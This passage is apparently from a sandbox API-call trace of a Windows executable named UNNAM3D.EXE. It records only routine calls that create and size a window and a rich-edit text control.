lpRect=0xb6ebec) returned 1 [0131.051] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.051] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.052] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.052] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.052] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.052] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.052] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.052] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.052] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.053] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.053] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.054] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.054] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.054] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.054] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.054] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.054] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.054] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.054] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.054] GetCurrentActCtx (in: lphActCtx=0xb6f138 | out: lphActCtx=0xb6f138*=0x0) returned 1 [0131.054] ActivateActCtx (in: hActCtx=0xe06274, lpCookie=0xb6f148 | out: hActCtx=0xe06274, lpCookie=0xb6f148) returned 1 [0131.054] GetCurrentActCtx (in: lphActCtx=0xb6ef58 | out: lphActCtx=0xb6ef58*=0xe06274) returned 1 [0131.054] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.055] AdjustWindowRectEx (in: lpRect=0xb6eebc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0xb6eebc) returned 1 [0131.055] GetCursorPos (in: lpPoint=0x2acc43c | out: lpPoint=0x2acc43c*(x=1232, y=631)) returned 1 [0131.055] MonitorFromPoint (pt=0x4d0, dwFlags=0x277) returned 0x10001 [0131.055] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6ed98 | out: lpmi=0xb6ed98) returned 1 [0131.055] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x9010225 [0131.055] GetDeviceCaps (hdc=0x9010225, index=12) returned 32 [0131.055] GetDeviceCaps (hdc=0x9010225, index=14) returned 1 [0131.055] DeleteDC (hdc=0x9010225) returned 1 [0131.055] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6edec | out: lpmi=0xb6edec) returned 1 [0131.055] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.055] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="UNNAM3D", dwStyle=0x2010000, X=486, Y=215, nWidth=468, nHeight=430, hWndParent=0x0, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x1015e [0131.055] SetWindowLongW (hWnd=0x1015e, nIndex=-4, dwNewLong=1996432861) returned 85788854 [0131.055] GetWindowLongW (hWnd=0x1015e, nIndex=-4) returned 1996432861 [0131.055] SetWindowLongW (hWnd=0x1015e, nIndex=-4, dwNewLong=85789822) returned 1996432861 [0131.055] GetWindowLongW (hWnd=0x1015e, nIndex=-4) returned 85789822 [0131.055] GetWindowLongW (hWnd=0x1015e, nIndex=-16) returned 113311744 [0131.055] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x81, wParam=0x0, lParam=0xb6e9ec) returned 0x1 [0131.055] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x83, wParam=0x0, lParam=0xb6e9d8) returned 0x0 [0131.057] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x1, wParam=0x0, lParam=0xb6e9ec) returned 0x0 [0131.057] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6e724 | out: lpRect=0xb6e724) returned 1 [0131.057] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6e724 | out: lpRect=0xb6e724) returned 1 [0131.057] SetWindowTextW (hWnd=0x1015e, lpString="UNNAM3D") returned 1 [0131.058] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc, wParam=0x0, lParam=0x2acb548) returned 0x1 [0131.058] GetStartupInfoW (in: lpStartupInfo=0x2acc804 | out: lpStartupInfo=0x2acc804*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0131.058] GetParent (hWnd=0x1015e) returned 0x0 [0131.058] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.059] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10160 [0131.059] SetWindowLongW (hWnd=0x10160, nIndex=-4, dwNewLong=1996432861) returned 85789054 [0131.059] GetWindowLongW (hWnd=0x10160, nIndex=-4) returned 1996432861 [0131.059] SetWindowLongW (hWnd=0x10160, nIndex=-4, dwNewLong=85789862) returned 1996432861 [0131.059] GetWindowLongW (hWnd=0x10160, nIndex=-4) returned 85789862 [0131.059] GetWindowLongW (hWnd=0x10160, nIndex=-16) returned 79691776 [0131.059] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x24, wParam=0x0, lParam=0xb6ea20) returned 0x0 [0131.059] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x81, wParam=0x0, lParam=0xb6ea14) returned 0x1 [0131.059] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x83, wParam=0x0, lParam=0xb6ea00) returned 0x0 [0131.059] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x1, wParam=0x0, lParam=0xb6ea14) returned 0x0 [0131.059] SetWindowLongW (hWnd=0x1015e, nIndex=-8, dwNewLong=65888) returned 0 [0131.060] SendMessageW (hWnd=0x1015e, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0131.060] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0131.060] SendMessageW (hWnd=0x1015e, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0131.060] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0131.063] GetSystemMenu (hWnd=0x1015e, bRevert=0) returned 0x0 [0131.064] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6ef68 | out: lpwndpl=0xb6ef68) returned 1 [0131.064] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0131.064] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0131.064] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0131.064] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0131.064] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0131.064] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6efac | out: lpRect=0xb6efac) returned 1 [0131.064] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ef0c | out: lpRect=0xb6ef0c) returned 1 [0131.064] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6ef0c | out: lpRect=0xb6ef0c) returned 1 [0131.064] SetWindowLongW (hWnd=0x1015e, nIndex=-8, dwNewLong=65888) returned 65888 [0131.065] GetSystemMetrics (nIndex=11) returned 32 [0131.065] GetSystemMetrics (nIndex=12) returned 32 [0131.065] GetDC (hWnd=0x0) returned 0x1401007f [0131.065] GetDeviceCaps (hdc=0x1401007f, index=12) returned 32 [0131.065] GetDeviceCaps (hdc=0x1401007f, index=14) returned 1 [0131.065] ReleaseDC (hWnd=0x0, hDC=0x1401007f) returned 1 [0131.065] CreateIconFromResourceEx (presbits=0x2acf2d0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x10157 [0131.066] SendMessageW (hWnd=0x10160, Msg=0x80, wParam=0x1, lParam=0x10157) returned 0x0 [0131.066] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x80, wParam=0x1, lParam=0x10157) returned 0x0 [0131.066] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0xd, wParam=0x104, lParam=0xd3c5e0) returned 0x0 [0131.066] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0xd, wParam=0x104, lParam=0xd3c5e0) returned 0x0 [0131.067] SetWindowPos (hWnd=0x1015e, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0131.067] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x46, wParam=0x0, lParam=0xb6ef24) returned 0x0 [0131.067] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x46, wParam=0x0, lParam=0xb6ef24) returned 0x0 [0131.068] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x46, wParam=0x0, lParam=0xb6ef24) returned 0x0 [0131.068] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x46, wParam=0x0, lParam=0xb6ef24) returned 0x0 [0131.068] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x1c, wParam=0x1, lParam=0x6e4) returned 0x0 [0131.068] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x1c, wParam=0x1, lParam=0x6e4) returned 0x0 [0131.068] NtdllDefWindowProc_W () returned 0x0 [0131.068] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0131.069] OleInitialize (pvReserved=0x0) returned 0x0 [0131.069] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0xb6ece4 | out: lplpMessageFilter=0xb6ece4*=0x0) returned 0x0 [0131.083] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0131.084] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0131.085] GetParent (hWnd=0x1015e) returned 0x0 [0131.085] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0131.085] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0131.085] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6ecd4 | out: lpwndpl=0xb6ecd4) returned 1 [0131.085] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x47, wParam=0x0, lParam=0xb6ef24) returned 0x0 [0131.085] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ec84 | out: lpRect=0xb6ec84) returned 1 [0131.085] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6ec84 | out: lpRect=0xb6ec84) returned 1 [0131.085] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x83, wParam=0x1, lParam=0xb6eb08) returned 0x0 [0131.086] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.086] GetWindowLongW (hWnd=0x1015e, nIndex=-16) returned 113311744 [0131.086] GetCursorPos (in: lpPoint=0x2ad0648 | out: lpPoint=0x2ad0648*(x=1232, y=631)) returned 1 [0131.086] MonitorFromPoint (pt=0x4d2, dwFlags=0x279) returned 0x10001 [0131.086] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6edd8 | out: lpmi=0xb6edd8) returned 1 [0131.086] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x4010216 [0131.086] GetDeviceCaps (hdc=0x4010216, index=12) returned 32 [0131.086] GetDeviceCaps (hdc=0x4010216, index=14) returned 1 [0131.086] DeleteDC (hdc=0x4010216) returned 1 [0131.086] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6ee2c | out: lpmi=0xb6ee2c) returned 1 [0131.086] GetWindowLongW (hWnd=0x1015e, nIndex=-16) returned 113311744 [0131.086] GetWindowLongW (hWnd=0x1015e, nIndex=-20) returned 65800 [0131.086] SetWindowLongW (hWnd=0x1015e, nIndex=-16, dwNewLong=33619968) returned 113311744 [0131.086] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x7c, wParam=0xfffffff0, lParam=0xb6ef00) returned 0x0 [0131.086] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x7d, wParam=0xfffffff0, lParam=0xb6ef00) returned 0x0 [0131.086] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x46, wParam=0x0, lParam=0xb6e880) returned 0x0 [0131.086] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x83, wParam=0x1, lParam=0xb6e858) returned 0x0 [0131.086] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6e630 | out: lpwndpl=0xb6e630) returned 1 [0131.086] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x47, wParam=0x0, lParam=0xb6e880) returned 0x0 [0131.087] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x3, wParam=0x0, lParam=0xd701e6) returned 0x0 [0131.087] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6e144 | out: lpRect=0xb6e144) returned 1 [0131.087] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6e144 | out: lpRect=0xb6e144) returned 1 [0131.087] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.087] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.087] GetSystemMetrics (nIndex=42) returned 0 [0131.087] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6dfb0, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.087] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6dfb0) returned 0x7 [0131.087] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x5, wParam=0x0, lParam=0x1ae01d4) returned 0x0 [0131.087] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6e5e0 | out: lpRect=0xb6e5e0) returned 1 [0131.087] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6e5e0 | out: lpRect=0xb6e5e0) returned 1 [0131.087] SetWindowLongW (hWnd=0x1015e, nIndex=-20, dwNewLong=65536) returned 65544 [0131.087] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x7c, wParam=0xffffffec, lParam=0xb6ef00) returned 0x0 [0131.087] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x7d, wParam=0xffffffec, lParam=0xb6ef00) returned 0x0 [0131.087] SetWindowPos (hWnd=0x1015e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0131.088] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x46, wParam=0x0, lParam=0xb6ef20) returned 0x0 [0131.088] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x83, wParam=0x1, lParam=0xb6eef8) returned 0x0 [0131.088] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6ecd0 | out: lpwndpl=0xb6ecd0) returned 1 [0131.088] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x47, wParam=0x0, lParam=0xb6ef20) returned 0x0 [0131.088] GetClientRect (in: hWnd=0x1015e, lpRect=0xb6ec80 | out: lpRect=0xb6ec80) returned 1 [0131.088] GetWindowRect (in: hWnd=0x1015e, lpRect=0xb6ec80 | out: lpRect=0xb6ec80) returned 1 [0131.088] RedrawWindow (hWnd=0x1015e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0131.088] GetSystemMenu (hWnd=0x1015e, bRevert=0) returned 0x0 [0131.088] GetWindowPlacement (in: hWnd=0x1015e, lpwndpl=0xb6ef58 | out: lpwndpl=0xb6ef58) returned 1 [0131.088] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0131.088] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0131.088] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0131.088] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0131.088] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0131.088] ShowWindow (hWnd=0x1015e, nCmdShow=5) returned 0 [0131.088] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.088] GetCurrentActCtx (in: lphActCtx=0xb6ec00 | out: lphActCtx=0xb6ec00*=0xe06274) returned 1 [0131.088] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.088] GetClassInfoW (in: hInstance=0x0, lpClassName="RichEdit20W", lpWndClass=0x2ad0a1c | out: lpWndClass=0x2ad0a1c) returned 1 [0131.089] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.089] CoTaskMemAlloc (cb=0x62) returned 0xe09b08 [0131.089] RegisterClassW (lpWndClass=0xb6eab8) returned 0xc128 [0131.089] CoTaskMemFree (pv=0xe09b08) [0131.089] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.089] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.RichEdit20W.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56210844, X=15, Y=278, nWidth=141, nHeight=125, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10166 [0131.089] SetWindowLongW (hWnd=0x10166, nIndex=-4, dwNewLong=1928863994) returned 85789902 [0131.089] GetWindowLongW (hWnd=0x10166, nIndex=-4) returned 1928863994 [0131.089] SetWindowLongW (hWnd=0x10166, nIndex=-4, dwNewLong=85789942) returned 1928863994 [0131.089] GetWindowLongW (hWnd=0x10166, nIndex=-4) returned 85789942 [0131.089] GetWindowLongW (hWnd=0x10166, nIndex=-16) returned 1176569924 [0131.089] GetWindowLongW (hWnd=0x10166, nIndex=-12) returned 0 [0131.089] SetWindowLongW (hWnd=0x10166, nIndex=-12, dwNewLong=65894) returned 0 [0131.089] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x81, wParam=0x0, lParam=0xb6e694) returned 0x1 [0131.091] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7c, wParam=0xffffffec, lParam=0xb6cff8) returned 0x0 [0131.098] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7d, wParam=0xffffffec, lParam=0xb6cff8) returned 0x0 [0131.100] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x83, wParam=0x0, lParam=0xb6e680) returned 0x0 [0131.101] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x1, wParam=0x0, lParam=0xb6e694) returned 0x0 [0131.104] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x46, wParam=0x0, lParam=0xb6d89c) returned 0x0 [0131.105] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x83, wParam=0x1, lParam=0xb6d874) returned 0x0 [0131.105] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x47, wParam=0x0, lParam=0xb6d89c) returned 0x0 [0131.105] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x5, wParam=0x0, lParam=0x790089) returned 0x0 [0131.105] GetClientRect (in: hWnd=0x10166, lpRect=0xb6d5f4 | out: lpRect=0xb6d5f4) returned 1 [0131.105] GetWindowRect (in: hWnd=0x10166, lpRect=0xb6d5f4 | out: lpRect=0xb6d5f4) returned 1 [0131.105] GetParent (hWnd=0x10166) returned 0x1015e [0131.105] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6d5f4, cPoints=0x2 | out: lpPoints=0xb6d5f4) returned -14025190 [0131.105] GetParent (hWnd=0x10166) returned 0x1015e [0131.123] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7c, wParam=0xfffffff0, lParam=0xb6d940) returned 0x0 [0131.123] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7d, wParam=0xfffffff0, lParam=0xb6d940) returned 0x1 [0131.124] GetWindow (hWnd=0x10166, uCmd=0x3) returned 0x0 [0131.124] GetClientRect (in: hWnd=0x10166, lpRect=0xb6e3d4 | out: lpRect=0xb6e3d4) returned 1 [0131.124] GetWindowRect (in: hWnd=0x10166, lpRect=0xb6e3d4 | out: lpRect=0xb6e3d4) returned 1 [0131.124] GetParent (hWnd=0x10166) returned 0x1015e [0131.124] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3d4, cPoints=0x2 | out: lpPoints=0xb6e3d4) returned -14025190 [0131.124] SendMessageW (hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.124] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.124] SendMessageW (hWnd=0x10166, Msg=0x445, wParam=0x0, lParam=0x4bf000f) returned 0x0 [0131.124] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x445, wParam=0x0, lParam=0x4bf000f) returned 0x0 [0131.124] SendMessageW (hWnd=0x10166, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0131.124] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0131.125] SendMessageW (hWnd=0x10166, Msg=0x44d, wParam=0x4, lParam=0x1) returned 0x841 [0131.126] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x44d, wParam=0x4, lParam=0x1) returned 0x841 [0131.126] SendMessageW (hWnd=0x10166, Msg=0x443, wParam=0x0, lParam=0x0) returned 0xffffff [0131.126] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x443, wParam=0x0, lParam=0x0) returned 0xffffff [0131.126] SendMessageW (hWnd=0x10166, Msg=0x43a, wParam=0x0, lParam=0xb6e2ac) returned 0xf800003f [0131.126] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x43a, wParam=0x0, lParam=0xb6e2ac) returned 0xf800003f [0131.126] SendMessageW (hWnd=0x10166, Msg=0x444, wParam=0x4, lParam=0xb6e2ac) returned 0x1 [0131.126] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x444, wParam=0x4, lParam=0xb6e2ac) returned 0x1 [0131.127] SendMessageW (hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6d488) returned 0x0 [0131.134] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x3000166, lParam=0x10166) returned 0x0 [0131.134] SendMessageW (hWnd=0x10166, Msg=0x30, wParam=0x30a0226, lParam=0x0) returned 0x1 [0131.134] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x30, wParam=0x30a0226, lParam=0x0) returned 0x1 [0131.134] SendMessageW (hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6d104) returned 0x0 [0131.134] SendMessageW (hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6d43c) returned 0x0 [0131.135] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x3000166, lParam=0x10166) returned 0x0 [0131.135] SendMessageW (hWnd=0x10166, Msg=0x43a, wParam=0x0, lParam=0xb6dfbc) returned 0xf800003f [0131.135] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x43a, wParam=0x0, lParam=0xb6dfbc) returned 0xf800003f [0131.135] SendMessageW (hWnd=0x10166, Msg=0x444, wParam=0x4, lParam=0xb6dfbc) returned 0x1 [0131.135] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x444, wParam=0x4, lParam=0xb6dfbc) returned 0x1 [0131.135] 